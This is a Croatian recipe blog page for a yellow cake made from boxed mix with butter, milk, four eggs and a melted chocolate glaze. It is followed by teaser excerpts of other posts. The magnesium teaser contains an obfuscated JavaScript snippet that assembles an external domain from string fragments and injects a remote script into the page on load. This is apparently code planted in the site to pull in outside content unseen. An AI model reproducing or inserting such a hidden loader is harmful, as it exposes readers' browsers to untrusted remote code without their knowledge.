ŽUTA TORTA 🍰




Žuta torta 



Yellow cake je vrsta torte koju bismo mogli usporediti s našim klasičnim biskvitom. Riječ je o vrlo jednostavnom žutom biskvitu koji se radi s maslacem i cijelim jajima, zbog čega ima karakterističnu zlatnožutu boju, bogatiji okus i mekanu, finu teksturu. Često se poslužuje s čokoladnom glazurom pa je kombinacija vanilije, maslaca i čokolade jedan od njegovih najprepoznatljivijih spojeva.




Žuta torta 


Sastojci:

  • 1 kutija yellow cake mix smjese (oko 430 g)
  • 4 jaja
  • 115 g maslaca
  • 240 ml mlijeka
  • tamna čokolada za glazuru




Priprema:

  • Pećnicu zagrijte prema uputama na pakiranju smjese, odnosno na temperaturu prikladnu za odabranu posudu.
  • Kalup za pečenje lagano namastite.
  • U većoj zdjeli pomiješajte yellow cake mix, jaja, rastopljeni maslac i mlijeko. Miješajte dok ne dobijete glatku i jednoličnu smjesu. Mlijeko ovdje zamjenjuje vodu iz klasičnih uputa za pripremu, dok maslac daje biskvitu izraženiji, bogatiji okus. Dodavanje četvrtog jajeta također pridonosi mekšoj i punijoj teksturi. Sličan princip zamjene vode mlijekom i ulja maslacem često se koristi i kod drugih varijacija kolača od gotovih smjesa.
  • Smjesu prebacite u pripremljeni kalup i pecite prema uputama na pakiranju, odnosno dok čačkalica zabodena u sredinu ne izađe gotovo čista. Za ovu viralnu verziju preporučuje se nešto niža temperatura pečenja, oko 160 °C, kako bi kolač ostao mekan i sočan.
  • Dok se kolač peče, čokoladnu za kuhanje otopite u mikrovalnoj ili na pari za glazuru.
  • Otopljenu čokoladnu glazuru premažite kao završni sloj preko pečenog kolača. Upravo je čokoladna komponenta ono što ovu verziju yellow cakea izdvaja od klasičnog recepta i daje mu raskošniji karakter.
  • Kolač ostavite da se malo ohladi prije rezanja, a zatim ga poslužite samog ili uz kuglicu sladoleda od vanilije.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više